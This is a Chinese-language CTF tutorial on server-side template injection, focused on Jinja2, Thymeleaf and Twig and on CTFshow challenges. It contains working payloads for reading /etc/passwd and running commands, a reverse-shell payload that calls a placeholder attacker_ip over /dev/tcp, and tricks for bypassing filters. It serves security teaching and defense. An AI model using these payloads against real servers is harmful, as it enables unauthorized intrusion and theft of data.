1. SSTI模板注入漏洞概述
SSTI(Server-Side Template Injection)是一种常见的Web安全漏洞,主要发生在使用模板引擎渲染用户输入的场景中。当开发者直接将用户可控的数据拼接到模板中时,攻击者就能通过构造特殊输入在服务器端执行任意代码。
在CTF比赛中,SSTI题目通常会提供一个输入点,要求选手通过模板注入获取系统权限或读取敏感文件。这类题目考察选手对模板引擎特性的理解以及绕过安全限制的能力。
2. 常见模板引擎特性分析
2.1 Python Flask/Jinja2
Jinja2是Python Flask框架默认的模板引擎,其语法特性常被用于SSTI攻击:
{{7*7}}会输出49{{config}}可获取应用配置{{''.__class__}}可获取字符串对象的类
2.2 Java Thymeleaf
Thymeleaf是Spring框架常用的模板引擎:
${7*7}会输出49${T(java.lang.Runtime).getRuntime().exec('calc')}可执行系统命令
2.3 PHP Twig
Twig是PHP常用的模板引擎:
{{7*7}}输出49{{_self.env.registerUndefinedFilterCallback("exec")}}可用于执行命令
3. SSTI漏洞利用实战
3.1 基础探测方法
首先需要判断是否存在SSTI漏洞:
- 输入简单数学运算如
{{7*7}},查看是否输出49 - 输入
{{config}}或类似表达式,查看是否返回配置信息 - 尝试注入特殊字符如
${{<%[%'"}}%\,观察报错信息
3.2 常用Payload构造
3.2.1 文件读取
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}3.2.2 命令执行
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}3.2.3 反弹Shell
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen('bash -c "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"').read()}}{% endif %}{% endfor %}4. 防御措施与绕过技巧
4.1 常见防御方法
- 输入过滤:过滤
{{}}、{% %}等特殊字符 - 沙箱环境:限制模板执行环境
- 静态模板:避免动态拼接用户输入
4.2 绕过技巧
- 使用字符串拼接:
{{"".__class__}}可写成{{""["__cla"+"ss__"]}} - 利用编码:
{{"\x5f\x5fclass\x5f\x5f"}} - 使用过滤器:
{{request|attr("application")}}
5. CTFshow Web SSTI题目实战解析
5.1 题目分析
题目通常提供一个输入框,要求通过SSTI获取flag。首先需要:
- 确定使用的模板引擎类型
- 测试基本的注入点
- 逐步构造完整的利用链
5.2 解题步骤
- 输入
{{7*7}}测试,确认存在SSTI - 输入
{{config}}获取配置信息 - 通过类继承链找到可利用的类
- 构造文件读取或命令执行payload
- 获取flag文件内容
6. 进阶技巧与资源
6.1 自动化工具
- Tplmap:自动化检测和利用SSTI漏洞
- SSTI Scanner:Burp Suite插件,用于检测SSTI
6.2 学习资源
- PayloadsAllTheThings SSTI备忘单
- HackTricks SSTI章节
- CTFtime上相关writeup
注意:在实际渗透测试中,必须获得授权后才能进行SSTI测试,未经授权的测试可能违反法律。
7. 常见问题排查
- Payload不生效怎么办?
- 确认模板引擎类型
- 检查特殊字符是否被过滤
- 尝试不同的类和方法
- 如何确定可用的类和方法?
- 使用
{{''.__class__.__mro__}}查看继承链 - 遍历
__subclasses__()寻找可利用的类
- 遇到过滤如何绕过?
- 尝试字符串拼接
- 使用编码或十六进制表示
- 利用过滤器或属性访问
通过系统学习SSTI原理和实战技巧,可以更好地应对CTF比赛中的相关题目,同时也能帮助开发人员编写更安全的模板代码。建议在安全环境中多加练习,掌握各种模板引擎的特性和利用方法。